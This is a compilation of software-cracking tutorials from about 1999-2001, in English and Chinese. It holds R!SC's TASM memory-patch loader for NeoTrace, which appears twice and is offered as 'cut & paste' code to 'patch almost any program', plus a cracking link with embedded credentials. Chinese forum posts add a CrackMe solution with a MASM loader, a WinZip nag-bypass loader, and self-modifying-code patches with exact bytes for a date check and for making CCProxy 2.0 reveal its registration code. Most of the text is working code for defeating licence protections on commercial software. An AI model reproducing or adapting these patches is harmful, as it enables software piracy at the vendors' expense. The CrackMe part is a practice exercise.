push offset CSiR_StartupInfo ; Pointer to STARTUPINFO structure
push 0
push 0
push 20h ; Creation flags
push 0
push 0
push 0
push 0
push offset CSiR_AppName ; Pointer to name of executable mod
call CreateProcessA
test eax,eax
jz OpenERR

Wait4Depack:
push LARGE-1 ; Timeout (in milliseconds, -1 = infinate)
push dword ptr [CSiR_ProcessInfo]
call WaitForInputIdle

Check_Data:

push 0 ; BytesRead
push dword ptr [sizeof] ; Length
push offset CSiR_RPBuffer ; Destination (to read them to)
push dword ptr [fuck] ; Source
push dword ptr [CSiR_ProcessInfo] ; Process whose memory we are to read
call ReadProcessMemory
test eax,eax
jz ReadERR
;...
;int 03 ;-)
cld
lea esi, CSiR_RPBuffer
lea edi, checkbytes
mov ecx, 10
rep cmpsb
jnz VersionERR
;...
Patch_the_mother:
push 0 ; Pointer to byteswritten (i like null though)
push dword ptr [patch_size_1] ; Length
push offset patch_data_1 ; Source
push dword ptr [patch_addr_1] ; Destination
push dword ptr [CSiR_ProcessInfo] ; Process whose memory we are to patch
call WriteProcessMemory ; Call Kernel32!WriteProcessMenory
test eax,eax
jz WriteERR

Close_This_app:
push dword ptr [CSiR_ProcessInfo]
call CloseHandle
push dword ptr [CSiR_ProcessInfo+4]
call CloseHandle

Exit_Proc:
Push LARGE-1
Call ExitProcess

;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
VersionERR:
lea eax, VersionERR_txt
jmp abort
ReadERR:
lea eax, ReadERR_txt
jmp abort
OpenERR:
lea eax, OpenERR_txt
jmp abort
WriteERR:
lea eax, WriteERR_txt
abort:
push 0
push offset CSiR_Error ; Title
push eax ; Message
push 0
call MessageBoxA

jmp Close_This_app

End Main
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

This basically loads the 'exe, the WaitForInputIdle function waits until the given process is
waiting for user input with no input pending, then patches the memory, then carrys on running
the process :)

Its pretty easy code to follow, and with just alterations of the 'patch datas' section, can be
fixed to patch almost any program :)

If you fancy reversing a patch for neotrace, to make the packed version patch itself, get mine
from http://www.gz.ee/cracks/n.htm, if you fancy reversing Hayras's loader yourself, thats
availble from http://zor:code58@www.zor.org/tno/n.html

I know that WaitForInputIdle is not the best way to tell when a program has
depacked/deprotected itself, and if your having problems with it patching the memory after it
should have done, you can change the timeout value.

With this loader, i have patched neolite & pecrypt so far, i know others will work, but i havent
tested them yet...

love R!SC

Note:
;-=-Loader.asm-=-=-cut & paste me :)=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

; based on original loader.exe by Hayras [tNO '98] used in
; Hayras's Neolite v1.22 memory patcher.
;
; Special thanks to TNO for graciously allowing me to use this
; source on behalf of Hayras, who has now retired from the scene.

; Yes, Hayras's loader reversed by R!SC, then totally re-written
; & released to the public, so everyone can learn this shit :)

; Requires Tasm 5.0 & import32.lib to compile

; tasm32 /ml loader.asm
; tlink32 /Tpe /aa /c loader,loader,, import32.lib
; replace with whatever...

; (c)1999 R!SC (see what i do instead of cracking...duh) yey Prophecy!

.386P
Locals
jumps

.Model Flat ,StdCall

;Define the needed external functions and constants here.

Extrn MessageBoxA:PROC
Extrn WaitForInputIdle:PROC

Extrn WriteProcessMemory:PROC
Extrn ReadProcessMemory:PROC
Extrn CreateProcessA:PROC
Extrn CloseHandle:PROC
Extrn ExitProcess:PROC

;-=-Normal data-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
.Data
CSiR_Tag db ' PE LOADER & CRACKER---R!SC 1999 ',0
CSiR_Error db 'Error!!!',0
CSiR_Error1 db 'Something fucked up...',0
OpenERR_txt db 'CreateProcess Error :(',0
ReadERR_txt db 'ReadProcessMemory Error :(',0
WriteERR_txt db 'WriteProcessMemory Error :P',0
VersionERR_txt db 'Incorrect Version of application :(',0
CSiR_ProcessInfo dd 4 dup (0) ;process handles
CSiR_StartupInfo db 48h dup (0) ;startup info for the process were opening
CSiR_RPBuffer db 10h dup (0) ;read buffer, for checking data

;-=-Patch datas-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

CSiR_AppName db 'NEOTRACE.EXE',0
fuck dd 40a61bh ; address to read data from for version checking
sizeof dd 10 ; in the new process

checkbytes db 06ah,0,068h,0e0h,08ch ; the bytes to check for
db 040h,0,051h,068h,0a4h ; if there not there, we have the wrong version??

patch_data_1 db 0ebh,62h
patch_size_1 dd 2
patch_addr_1 dd 40a61bh

.Code
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Main:
push offset CSiR_Tag
mov dword ptr [CSiR_StartupInfo],44h ; (the size in bytes of the structure)
push offset CSiR_ProcessInfo ; Typedef struct _PROCESS_INFORMATION
push offset CSiR_StartupInfo ; Pointer to STARTUPINFO structure
push 0
push 0
push 20h ; Creation flags
push 0
push 0
push 0
push 0
push offset CSiR_AppName ; Pointer to name of executable mod
call CreateProcessA
test eax,eax
jz OpenERR

Wait4Depack:
push LARGE-1 ; Timeout (in milliseconds, -1 = infinate)
push dword ptr [CSiR_ProcessInfo]
call WaitForInputIdle

Check_Data:

push 0 ; BytesRead
push dword ptr [sizeof] ; Length
push offset CSiR_RPBuffer ; Destination (to read them to)
push dword ptr [fuck] ; Source
push dword ptr [CSiR_ProcessInfo] ; Process whose memory we are to read
call ReadProcessMemory
test eax,eax
jz ReadERR
;...
;int 03 ;-)
cld
lea esi, CSiR_RPBuffer
lea edi, checkbytes
mov ecx, 10
rep cmpsb
jnz VersionERR
;...
Patch_the_mother:
push 0 ; Pointer to byteswritten (i like null though)
push dword ptr [patch_size_1] ; Length
push offset patch_data_1 ; Source
push dword ptr [patch_addr_1] ; Destination
push dword ptr [CSiR_ProcessInfo] ; Process whose memory we are to patch
call WriteProcessMemory ; Call Kernel32!WriteProcessMenory
test eax,eax
jz WriteERR

Close_This_app:
push dword ptr [CSiR_ProcessInfo]
call CloseHandle
push dword ptr [CSiR_ProcessInfo+4]
call CloseHandle

Exit_Proc:
Push LARGE-1
Call ExitProcess

;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
VersionERR:
lea eax, VersionERR_txt
jmp abort
ReadERR:
lea eax, ReadERR_txt
jmp abort
OpenERR:
lea eax, OpenERR_txt
jmp abort
WriteERR:
lea eax, WriteERR_txt
abort:
push 0
push offset CSiR_Error ; Title
push eax ; Message
push 0
call MessageBoxA

jmp Close_This_app

End Main
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


R！SC的CrackMe1

 标 题:CHiNA CrACKiNG GrOUp (7千字)
发信人:娃娃[CCG]
时 间:2001-9-20 14:58:11
详细信息:
破解R！SC的CrackMe1 并写一个LOADER
娃娃(NYDoll)

最近没有什么好玩的软件，不是太难的破解不了；就是太简单不值得写个过程，于是来到DDXia前辈的主页上下载了一个
r!sc所写的CrackMe1。执行一看 —— 是一个去除NAG的CrackMe，^_^ 最近正好对这个东西敢兴趣 正和我意 赶快动手吧。

先用FI检查一番，发现是PETILE2.1的壳，用专用的脱壳器可以很容易的脱壳，但是还是先不要脱壳 ^_^ 跟跟看～～～
一运行，程序马上蹦出个窗口，提示：“This program has expired :( please purchase the full version”，再点一下确定，程序就退出了。

立刻祭出TRW（我还是喜欢用我修改的TRW1.22增强版本 ^_^ 尽快别的大哥说不好看），载入程序，出现提示窗口，然后下断点：BPX LOCKMYTASK，点击确定按钮，你就会发现又被TRW拦下了，下命令PMODULE，你会发现TRW正好停在API函数MESSAGEBOXA的下面 ^_^ 如果你也到了这里，那你就正确了一半了。

XXXX：00406282 PUSH DWORD 004062E0
XXXX：00406287 PUSH DWORD 00406360
XXXX：0040628C PUSH BYTE +00
XXXX：0040628E CALL USER！MessageBoxA <——CrackMe程序出现对话框信息所调用的API
XXXX：0040628C POPA <——TRW应该这里
XXXX：0040628C PUSH BYTE +00

现在我们已经找到程序出现第一个对话框时所在的地址了，接下来我们在MessageboxA函数前下断点，BPX 406282，然后重新运行程序，当程序执行到406282的时候被TRW栏到，看看这个时候程序还没有跳出对话框吧 ^_^ 接下来我们要跳过这个对话框，
用TRW向上翻，发现：

XXXX：0040622F ADD [EAX－41]，AH
XXXX：00406232 MOV AL，[57004062]
XXXX：00406237 CALL KERNEL32！GetLocalTime
XXXX：0040623D CMP WORD [EDI]，07CF
XXXX：00406242 JG 00406280
XXXX：00406244 JZ 0040624D
XXXX：00406246 CMP WORD[EDI＋02]，BYTE ＋06
XXXX：0040624B JNL 00406280
XXXX：0040624D PUSH BYTE ＋30
XXXX：0040624F PUSH DWORD 004062E0
XXXX：00406254 PUSH DWORD 004062F0
XXXX：00406259 PUSH BYTE ＋00
XXXX：0040625B CALL USER！MessageBoxA
XXXX：00406261 POPA
XXXX：00406262 JMP 00401000

发现这个地方比较可疑，无缘无故的你查什么系统时间阿（KERNEL32！GetLocalTime），于是设断点BPX 40622F，重新运行程序，但是发现并没有断到40622F这里，这是什么原因呢？
猜测一：程序在这之前有一处可以跳过这里直接显示NAG对话框
猜测二：程序根本就无法执行到这个检测系统时间的地方
根据我的判断，我选择的是二，就是程序根本就不判断时间，只是一个样式，但是我们为了跳过这个NAG只好要让他判断时间试试啦（死马当成活马医吗～～～） ^_^
在406282处重新下断点，程序被拦下，下A指令改变代码，将 PUSH DWORD 004062E0 这一句改成 JMP 406237，强制使程序检测系统时间，这样程序会自动跳转到406237处继续执行，取得系统的年份，然后和1999对比，大于则出现：This program has expired 的对话框，如果不大于则出现：“This program wont run after 32st may 1999,please register and recive a NAG! free version”，07CF就是1999的十六进制值！但是由于我们改变了程序的运行方式，使程序运行到
XXXX：0040623D CMP WORD [EDI]，07CF
这一句时检测的系统年份必定将大于1999，所以一定会跳到00406280这里执行，但是我们刚才改变了跳转，程序执行到00406282的时候还是会重新检查时间，这样就造成了程序的死循环，运行2分钟后机器一定会死机的，因此我们修正一下改动方式，
下断点BPX 4062E0，程序被拦下的时候改变语句：JMP 40624D，让他直接弹出提示的对话框对话框，然后下断点
BPX LOCKMYTASK 点击确定后再次被TRW拦下，这次应该停在第二个MessageBoxA函数的后面，就是停在406261的地方，继续单步跟踪，发现程序只要执行到406262然后跳到00401000后就好像回到一个新的PE结构的头部一样，马上就是一个GetCommandLineA
函数，这是一般的PE格式文件第一个API函数，所以如果这个时候你使用MakePE指令然后在手动修复输入表的话，生成的就完全是一个脱壳的而且没有任何期限的纯净的文件了 ^_^ 可惜我不会修复输入表 ：（ ◎￥＃％◎＃￥％……￥％……

^_^ 不过懒人有懒方法，既然不脱壳，那么我们就在程序执行到406282的时候直接改指令是程序一起把所有的NAG都跳过去不久完了吗 ^_^ 重复上面的步骤（下断点 BPX 406282，重新启动程序，被拦下后用A修改指令，改成JMP 401000）清除断点，返回Windows 哈哈 程序可以正常的运行了。

知道改的方法后 一切就简单的多了 下面我们来用MASM编写一个载入器，使程序按照我们的方法运行：

.386
.model flat,stdcall
option casemap:none

include C:\masm32\INCLUDE\windows.inc 声明！
include C:\masm32\INCLUDE\kernel32.inc
include C:\masm32\INCLUDE\user32.inc
includelib C:\masm32\LIB\kernel32.lib
includelib C:\masm32\LIB\user32.lib

DlgProc PROTO :DWORD,:DWORD,:DWORD,:DWORD

.data

AppName db 'R'SC CrackMe1 Loader',0 程序标题名称
msg_run db 'Faild to launch program',0Dh,0Ah,'...',0 程序载入错误时候的提示
msg_read db 'ReadProcessMemory error ...',0 防止内存溢出
msg_ver db 'Wrong version ...',0 如果找不到相同的机器码则认为是无效的版本
msg_cap db 'Memory Patcher error ...',0 出错信息对话框标题
msg_write db 'WriteProcessMemory error ...',0
m_progname db 'r!sc.1.exe',0 需要载入的程序名
; 以下为关键代码段
m_addr_to_patch1 dd 00406282h 欲修改的虚拟地址
m_original_bytes1 db 068h, 0E0h, 062h, 040h, 000h 原始机器码 68E0624000
m_new_bytes1 db 0E9h, 079h, 0ADh, 0FFh, 0FFh 修改后的机器码 E979ADFFFF
m_num_of_bytes1 dd 5 一共5个字节

DlgName db "CCG",0 在补丁前显示一个对话框，标题为CCG
TimerID dd 0
TimeOutValue dd 3000 显示3000毫秒

m_loop_me dd 10 尝试修改内存次数为10次

.data?

hInstance HINSTANCE ?
read_buffer db 512 dup (?)
startinfo STARTUPINFO <>
pi PROCESS_INFORMATION <>

.code
start:

invoke GetModuleHandle,NULL
mov hInstance,eax
invoke DialogBoxParam,hInstance,addr DlgName,NULL,addr DlgProc,NULL

invoke GetStartupInfo,addr startinfo 载入程序
invoke CreateProcess,addr m_progname,NULL,NULL,NULL,FALSE,20h,NULL,NULL,addr startinfo,addr pi
test eax,eax
jz _launch_error

mov ebx,m_loop_me

_the_loop: 循环修改
invoke ReadProcessMemory,dword ptr [pi],m_addr_to_patch1,addr read_buffer,m_num_of_bytes1,0
test eax,eax
jz _read_proc_error

lea esi,read_buffer 读值并修改
lea edi,m_original_bytes1
mov ecx,m_num_of_bytes1
repz cmpsb
jnz _down
jmp _patch_the_mother
_down:
dec ebx
jnz _the_loop
jmp _wrong_ver

_patch_the_mother: 修改，若出错则跳到提示版本错误的对话框
invoke WriteProcessMemory,dword ptr [pi],m_addr_to_patch1,addr m_new_bytes1,m_num_of_bytes1,0
test eax,eax
jz _write_proc_error

jmp _exit

_launch_error: 无法载入程序时候的提示
invoke MessageBox,NULL,addr msg_run,addr msg_cap,MB_ICONSTOP+MB_OK
jmp _exit

_read_proc_error: 无法修改程序的提示
invoke MessageBox,NULL,addr msg_read,addr msg_cap,MB_ICONSTOP+MB_OK
jmp _exit

_wrong_ver: 没有找到相同的字符串则提示版本错！
invoke MessageBox,NULL,addr msg_ver,addr msg_cap,MB_ICONSTOP+MB_OK
jmp _exit

_write_proc_error: 无法写入进程的提示
invoke MessageBox,NULL,addr msg_write,addr msg_cap,MB_ICONSTOP+MB_OK

_exit: 退出程序，将存放句柄的寄存器清空
invoke CloseHandle,dword ptr [pi]
invoke CloseHandle,dword ptr [startinfo]
invoke ExitProcess,0 调用 ExitProcess 函数退出程序

DlgProc proc uses esi edi ebx,hWnd:HWND,uMsg:UINT,wParam:WPARAM,lParam:LPARAM

.IF uMsg==WM_INITDIALOG
invoke SetTimer,hWnd,1,TimeOutValue,NULL
mov TimerID,eax
.ELSEIF uMsg==WM_TIMER
invoke KillTimer,hWnd,TimerID
invoke SendMessage,hWnd,WM_CLOSE,NULL,NULL
.ELSEIF uMsg==WM_CLOSE
invoke EndDialog,hWnd,NULL
.ELSE
mov eax,FALSE
ret
.ENDIF
mov eax,TRUE
ret
DlgProc endp

end start

编译后5K，执行速度超快 ^_^ WinMe，MASM5下测试通过

^_^ 感谢大家看完 有什么意见欢迎交流！谨以此文献给我们可爱的CCG，希望他能蒸蒸日上（JOJO老大的话 ^_^）

娃娃(NYDoll)
属于中国破解组织CCG(CHiNA CrACKiNG GrOUp)


WinZip Nag

 标 题:WinZip Nag 的去除 (3千字)
发信人:夜月
时 间:2001-9-13 21:13:27
详细信息:
记得论坛上曾经有人说过一种破解NAG的方法：在NAG弹出来以后，给可以关闭它的BUTTON送一个
WM_COMMAND消息。思路早就有了，可是具体实现的方法还没看见过有人写（不过我看过一片E文的文章专门
讲这个的，讲得很好。看来中国的CRACKER们写东西的干劲不太足呀！^_^）。前天借同学买的《电脑爱好
者》2001年上半年合订本看的时候，看到有篇文章就是写这个的，文章题目叫：《Winzip赖帐器》，有兴趣
的朋友可以自己去找找看看，那篇文章是VC++写的，我们CRACKER们最喜欢的还是ASM吧？所以我写了一个
ASM的版本，给大家参考参考（大虾们不要笑我不自量力哟！）。
首先分析一下程序的作用：假设我们程序的名称叫做“loader.exe”。我们把它放在Winzip的目录
中，然后在资源管理器中设定zip文件的打开方式为：loader.exe。当我们双击一个zip文件时，loader.exe
获取要解压的zip文件的文件名，并以此为命令行参数传递给winzip32.exe，由于我们使用的winzip是未注册版本，所以winzip32.exe一执行，就会出来一个NAG,让我们选择“I Agree”，或者是“Quit”，我们程序的
任务就是向I Agree按钮发送一个WM_COMMAND消息，以此消除NAG。
好了，程序的功用我们知道了，下面我们就要分析一下用什么函数可以达到我们的目的：
要发送一个WM_COMMAND函数给一个BUTTON，我们必须知道两个值：按钮所在窗口的HWND和按钮的ID
，这样我们就可以用invoke SendMessage,HWND,WM_COMMAND,ID,0达到给它发送消息的目的。按钮的ID很好办
，执行WINZIP,用SPY看一下就可以了。我得出的结果是：左边的按钮的ID是2901，右边的按钮的ID是2902，
下面我们就要得到窗口的HWND了，取得HWND，最常用的方法是FindWindow,你只要知道窗口的caption，用该
函数就可以得到该窗口的HWND，但是，WINZIP执行时，除开开始的那个NAG外，还有一个不可见的也以WINZIP
为CAPTION的窗口，所以，我们得到HWND后，还要用GetWindowLong获得该窗口的GWL_ID,如果是0，那么我们就算找到了我们要找的窗口了(用SPY可以得知NAG的ID是0）。
好了，大致的流程定下来了，下面我们还有一个工作要做：判断到底是2901是我们要得BUTTON,还是
2902是我们要的BUTTON。跟踪一下知道，按钮上的文字是DrawTextA画上去的，所以，我们还要写一段gdi函数。
问题都解决了，下面看看该程序的源代码吧：
----------------------------------------Cut From Here--------------------------------------
.386
.model flat,stdcall
option casemap :none

include windows.inc
include gdi32.inc
include kernel32.inc
include user32.inc

includelib gdi32.lib
includelib kernel32.lib
includelib user32.lib

.data
szDirect db 100 dup (?)
szCmdline db 100 dup (?)
szExename db 'WinZip32.exe'
szFile db 50 dup (0)
szLoad db 'loader.exe',0
szWinzip db 'WinZip',0
szSubbuffer db 20 dup (0)
stStartup STARTUPINFO <?>
stProcinfo PROCESS_INFORMATION <?>
rcMyrect RECT <?>
szFlag dd ?
hWinzip dd ?
dcMydc dd ?

.code
start:
mov dword ptr [stStartup],44h
call GetCommandLine
mov esi,eax
xor eax,eax
invoke lstrlen,esi
mov ecx,eax
invoke SearchPath,NULL,offset szLoad,NULL,100,offset szDirect,offset szFlag
add esi,eax
mov edi,offset szFile
invoke lstrlen,esi
mov ecx,eax
rep movsb
invoke CreateProcess,0,offset szExename,0,0,0,20h,0,0,offset stStartup,offset stProcinfo
find:
invoke FindWindow,NULL,offset szWinzip
or eax,eax
jz find
mov hWinzip,eax
invoke GetWindowLong,eax,GWL_ID
cmp eax,0
jnz find
invoke SetWindowPos,hWinzip,HWND_TOPMOST,0,0,0,0,SWP_NOSIZE OR SWP_NOMOVE
invoke GetWindowRect,hWinzip,offset rcMyrect
invoke GetDC,0
mov dcMydc,eax
invoke GetPixel,dcMydc,384,402
.if eax==0
invoke SendMessage,hWinzip,WM_COMMAND,2902,0
.else
invoke SendMessage,hWinzip,WM_COMMAND,2901,0
.endif
invoke ExitProcess,NULL
end start
---------------------------------------------Cut End-----------------------------------------
The End:
aNY qUESTION,eMAIL tO:luoyi.ly@yeah.net
Thanks For Your Reading


SMC破解应用

 标 题:贴个程序的smc破解。 (1千字)
发信人:真.hp
时 间:2001-9-24 9:52:43
详细信息:
:00000000 C705E1C74B0068200340 mov dword ptr [004BC7E1], 40032068
:0000000A 66C705E5C74B0000C3 mov word ptr [004BC7E5], C300
:00000013 68E6FA4900 push 0049FAE6
:00000018 C3 ret
把程序的某个地方改成跳去执行我们的代码
然后返回程序oep执行。
:00000019 00000000000000 BYTE 7 DUP(0)

:00000020 B30A mov bl, 0A
:00000022 A0207F5300 mov al, byte ptr [00537F20]
:00000027 8A3D217F5300 mov bh, byte ptr [00537F21]
:0000002D E851000000 call 00000083
:00000032 8844240A mov byte ptr [esp+0A], al
取内存中的2个字符，转成数值，然后放到[esp+0A]
:00000036 A0237F5300 mov al, byte ptr [00537F23]
:0000003B 8A3D247F5300 mov bh, byte ptr [00537F24]
:00000041 E83D000000 call 00000083
:00000046 88442406 mov byte ptr [esp+06], al
:0000004A A0267F5300 mov al, byte ptr [00537F26]
:0000004F 8A3D277F5300 mov bh, byte ptr [00537F27]
:00000055 E829000000 call 00000083
:0000005A 6605D007 add ax, 07D0
:0000005E 6689442404 mov word ptr [esp+04], ax
:00000063 66B8002C mov ax, 2C00
:00000067 6633DB xor bx, bx
把寄存器的内容改成执行我们的代码前的样子
:0000006A C705E1C74B00668B4C24 mov dword ptr [004BC7E1], 244C8B66
:00000074 66C705E5C74B000A66 mov word ptr [004BC7E5], 660A
把一开始修改过的程序码改回原样，否则会出错。
:0000007D 68E1C74B00 push 004BC7E1
:00000082 C3 ret

:00000083 2C30 sub al, 30
:00000085 80EF30 sub bh, 30
:00000088 F6E3 mul bl
:0000008A 00F8 add al, bh
:0000008C C3 ret

标 题:. (845字)
发信人:真.hp
时 间:2001-9-24 11:52:29
详细信息:

:00000000 C705E1C74B0068200340 mov dword ptr [004BC7E1], 40032068
:0000000A 66C705E5C74B0000C3 mov word ptr [004BC7E5], C300
:00000013 68E6FA4900 push 0049FAE6
:00000018 C3 ret
这一小段是在运行完壳后运行的(aspack1.07的壳)，
是把这一行
:004BC7E1 668B4C240A mov cx, word ptr [esp+0A]
改成
6820034000 push dword ptr, 00400320
c3 ret
然后跳回oep去运行，
当程序运行到4BC7E1时就会跳去运行我的代码，
然后我的代码再把4BC7E1处的代码改回原样。
* Reference To: KERNEL32.GetLocalTime, Ord:011Bh
|
:004BC7DB FF15B4635000 Call dword ptr [005063B4]
:004BC7E1 668B4C240A mov cx, word ptr [esp+0A]
:004BC7E6 668B542406 mov dx, word ptr [esp+06]
:004BC7EB 668B442404 mov ax, word ptr [esp+04]


CCproxy2.0

 标 题:使CCproxy2.0自己能够显示注册码(SMC) (8千字)
发信人:BlueBoy[CCG]
时 间:2001-10-18 18:59:59
详细信息:
使CCproxy2.0自己能够显示注册码(SMC)
作者:BlueBoy[CCG]
工具:Softice,Wasm,Ultraedit,
软件介绍:主要用于共享上网.

好了,我们现在开始
首先我通过跟踪已经找到了该程序的注册码,但是它的算法比以前有了很大的不同变的好麻烦,写注册机很不好写,而且用Keymaker和crackcode2000都不能直接读出密码(也许是我的水平不够),所以呢我打算用SMC让程序自己显示注册码.
现在我们需要解决的问题是首先获得注册码EDIT的句柄,然后调用SetWindowTextA
显示出来.用Spy find window 发现注册窗口是一个模式对话框,所以我们首先应该找到注册窗口的句柄,然后调用GetDlgItem获得EDIT的句柄.
用Soft loader载入CCProxy.exe然后bpx CreateDialogIndirectParamA F5运行,程序中断按F12,F10然后来到这里

:004316A1 FF1520144400 Call dword ptr [00441420]

:004316A7 8D4DE4 lea ecx, dword ptr [ebp-1C]
:004316AA 8945E8 mov dword ptr [ebp-18], eax

:004316AD 885DFC mov byte ptr [ebp-04], bl
:004316B0 E8113C0000 call 004352C6
:004316B5 EB1D jmp 004316D4
:004316B7 8B4DD4 mov ecx, dword ptr [ebp-2C]
:004316BA E878540000 call 00436B37
:004316BF 8B45DC mov eax, dword ptr [ebp-24]
:004316C2 83482CFF or dword ptr [eax+2C], FFFFFFFF
:004316C6 B8CC164300 mov eax, 004316CC
:004316CB C3 ret
再按F5程序正常运行,点注册,这时程序再次中断,F12,F10后同样来到上边哪个地方
这时EAX的内容就是我门需要的哪个handle,所以我们在004316A7处设置跳转语句使他转到我们的附加程序,并根据EDIT的ID调用GetDlgItem获得EDIT的handle,因为我们每次点注册时都会调用CreateDialogIndirectParamA所以能够保证handle的正确性.
现在已经有了句柄,然后要做的就是找到注册码.我们可以在下边这个地方找到注册码
:00404635 E8DCB00200 call 0042F716
:0040463A 8B44240C mov eax, dword ptr [esp+0C]
:0040463E 8BF3 mov esi, ebx

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
:00404662(C)
:00404640 8A10 mov dl, byte ptr [eax]<-----在这个地方D eax
:00404642 8A1E mov bl, byte ptr [esi] 可以看到注册玛
:00404644 8ACA mov cl, dl
:00404646 3AD3 cmp dl, bl
:00404648 751E jne 00404668
:0040464A 84C9 test cl, cl
:0040464C 7416 je 00404664
:0040464E 8A5001 mov dl, byte ptr [eax+01]
所以我们在00404640处设置跳转,然后用附加程序保存注册玛,
现在我们需要在注册错误之后,点确定就显示注册码所以我们应该修改下边的代码
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00407289(C)
|
:004072C0 8D442410 lea eax, dword ptr [esp+10]

* Possible Reference to String Resource ID=00126: "Sorry, Register Failed!"
|
:004072C4 6A7E push 0000007E
:004072C6 50 push eax
:004072C7 E894C9FFFF call 00403C60
:004072CC 83C408 add esp, 00000008
:004072CF 50 push eax
:004072D0 8D4C2410 lea ecx, dword ptr [esp+10]
:004072D4 C644242002 mov [esp+20], 02
:004072D9 E821E10200 call 004353FF
:004072DE 8D4C2410 lea ecx, dword ptr [esp+10]
:004072E2 885C241C mov byte ptr [esp+1C], bl
:004072E6 E8DBDF0200 call 004352C6
:004072EB 8B4C240C mov ecx, dword ptr [esp+0C]
:004072EF 53 push ebx
:004072F0 6A10 push 00000010
:004072F2 51 push ecx

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004072BE(U)
|
:004072F3 E8C2200300 call 004393BA
:004072F8 8D4C240C lea ecx, dword ptr [esp+0C]
:004072FC C744241CFFFFFFFF mov [esp+1C], FFFFFFFF
:00407304 E8BDDF0200 call 004352C6
:00407309 8B4C2414 mov ecx, dword ptr [esp+14]
:0040730D 5F pop edi
:0040730E 5E pop esi
:0040730F 5B pop ebx
:00407310 64890D00000000 mov dword ptr fs:[00000000], ecx
:00407317 83C414 add esp, 00000014
:0040731A C3 ret

我们选择在00407309处设置跳转,然后执行我们的程序显示注册码,现在万事具备了.
现在开始修改,用eXeScope打开该文件,查开文件的头部关于.text段的描述
000001E8 .text Section Name
000001F0 0003FAB3 Virtual Size
000001F4 00001000 RVA/Offset
000001F8 00040000 Size of Raw Data
000001FC 00001000 Pointer to Raw Data
00000200 00000000 Pointer to Relocs
00000204 00000000 Pointer to Line Number
00000208 0000 Number of Relocs
0000020A 0000 Number of Line Number
0000020C 60000020 Section Flags(Readable,Executable,Code)
段的实际大小为物理大小为3FAB3,而以1000对齐,所以能有很大的空隙用于插入我们的代码,我们的程序很短所以不用另添加段了,所以只需修改原程序代码段,为了能够读写我们设置Section Flags=C0000020,我开始用了00040AC0不过经过测试,程序在调入时只调入到0043EFFB,而我们的代码没有被调入,并且调入代码的后边部分均为含有很多的int 3,所以可能是调试信息,尝试修改后对程序没有影响(也许是测试的不够全面)所以我们选择在这部分空间插入代码,我选择了0003DED0,
填写代码
-----------------------------
用于计算EDIT句柄的附加程序段 |
-----------------------------
push ebp :55
mov ebp,esp :8BEC
mov esp,00440b30 :BCA0EF4300 <-----设置堆栈
push eax :50
push ecx :51
push edx :52
push esi :56 <-----保存个寄存器的值
push 0000042E :682E040000 <-----EDIT的ID
push eax :50 <-----CreateDialogIndirectParamA的返回值
注册对话框的句柄
Call dword ptr [0044142C] :FF152C144400 <-----GetDlgItem
mov ebx,00440B70 :BB700B4400 <-----选择一个无用的内存区域
mov [ebx],eax :668903 <-----保存EDIT的handle
mov ebx,00000000 :BB000000 <-----恢复EBX(其实这个地方可以用堆栈)
pop esi :5E
pop edx :5A
pop ecx :59
pop eax :58
mov esp,ebp :8BE3
pop ebp :5D <-----还原各项值
lea ecx, dword ptr [ebp-1C]:8D4DE4<-----我们修改了原程序004316A7和004316AA的mov dword ptr [ebp-18], eax:8945E8 内容所以在此处加上
jmp 004316AD :E9A637FFFF <------跳回原程序
同时我们将004316A7改为jmp 0043DED0:E924C80000
nop :90 用于对齐
-----------------------
用于保存注册码的代码段 |
------------------------
push ebp :55
mov ebp,esp :8BEC
mov esp,00440b30 :BCA0EF4300 <-----设置堆栈
push eax :50
push esi :56 <-----保存个寄存器的值
push eax :50
mov esi,00440B70:BE700B4400
mov esi,[esi] :8B36 <-----判断句柄是否有效
cmp esi,00 :83FE00
jz 0043DF7F :7415 <-----无效跳走
push 0043E000 :6800E04300 <-----%S(事先将%S写入0043E000
push 0043DFD0 :68D0DF4300 <-----保存注册码的地址
Call dword ptr [004413C4] :FF15C4134400<----wsprintfA
有效则将注册码写到0043DFD0
add esp,0c :83C40C
jmp 0043DF34 :EB01
pop EAX :58
pop Esi :5A <--------恢复个寄存器的值
pop EAX :58
mov esp,ebp :8BE5
pop ebp :5D
mov dl, byte ptr [eax]:8A10<--------调用原程序被我们破坏的语句
mov bl, byte ptr [esi]:8A1E
mov cl, dl :8ACA
jmp 00404646 :E90267FCFF<--------跳回原程序
同时将原程序00404640处改为jmp 0043DF07:E9C2980300
nop :90
-----------------
显示注册码的程序
-----------------
push esi :56 <----保存
push 0043DFD0 :68D0DF4300 <------注册码的地址作为参数入栈
mov esi,00440B70 :BE700B4400 \__取EDIT的handle
mov esi,[esi] :8B36 /
push esi :56 <-----handle作为参数入栈
Call dword ptr [00441514]:FF1514154400<-----SetWidnowTextA
pop esi :5E <-----还原
mov ecx,[esp+14] :8B4C2414 <-----恢复原程序被破坏的部分
pop edi :5F
jmp 0040730E :E9AB93FCFF<-----跳回原程序继续执行
同时将原程序00407309改为:jmp 0043DF44:E9366C0300
------------------------------------
将程序要用的堆栈部分全部改为00 00 将0043E000改为25 73(%s作为参数传递)

